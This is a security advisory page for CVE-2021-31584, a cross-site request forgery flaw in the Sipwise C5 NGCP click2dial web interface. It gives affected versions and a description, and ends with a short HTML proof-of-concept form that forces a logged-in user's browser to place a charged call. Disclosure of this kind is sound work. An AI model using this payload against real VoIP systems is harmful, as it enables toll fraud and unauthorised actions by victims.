Headline
CVE-2021-31584: Sipwise C5 NGCP CSC Cross Site Request Forgery ≈ Packet Storm
Sipwise C5 NGCP www_csc version 3.6.4 up to and including platform NGCP CE mr3.8.13 allows call/click2dial CSRF attacks for actions with administrative privileges.
Sipwise C5 NGCP CSC CSRF Click2Dial ExploitVendor: Sipwise GmbHProduct web page: https://www.sipwise.comAffected version: <=CE_m39.3.1 NGCP www_admin version 3.6.7Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to providerich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,conferencing etc.) that can be configured by end users in the self-care web interface.For operators, it offers a web-based administrative panel that allows them to configuresubscribers, SIP peerings, billing profiles, and other entities. The administrative webpanel also shows the real-time statistics for the whole system. For tight integrationinto existing infrastructures, Sipwise C5 provides a powerful REST API interface.Desc: The application interface allows users to perform certain actions via HTTP requestswithout performing any validity checks to verify the requests. This can be exploited toperform certain actions with administrative privileges if a logged-in user visits a maliciousweb site.Tested on: Apache/2.2.22 (Debian) Apache/2.2.16 (Debian) nginxVulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscienceAdvisory ID: ZSL-2021-5649Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.phpCVE ID: CVE-2021-31584CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3158413.04.2021--<html> <body> <form action="https://10.0.1.7/call/click2dial" method="POST"> <input type="hidden" name="d" value="%2B3897031337" /> <input type="submit" value="Dial and charge!" /> </form> </body></html>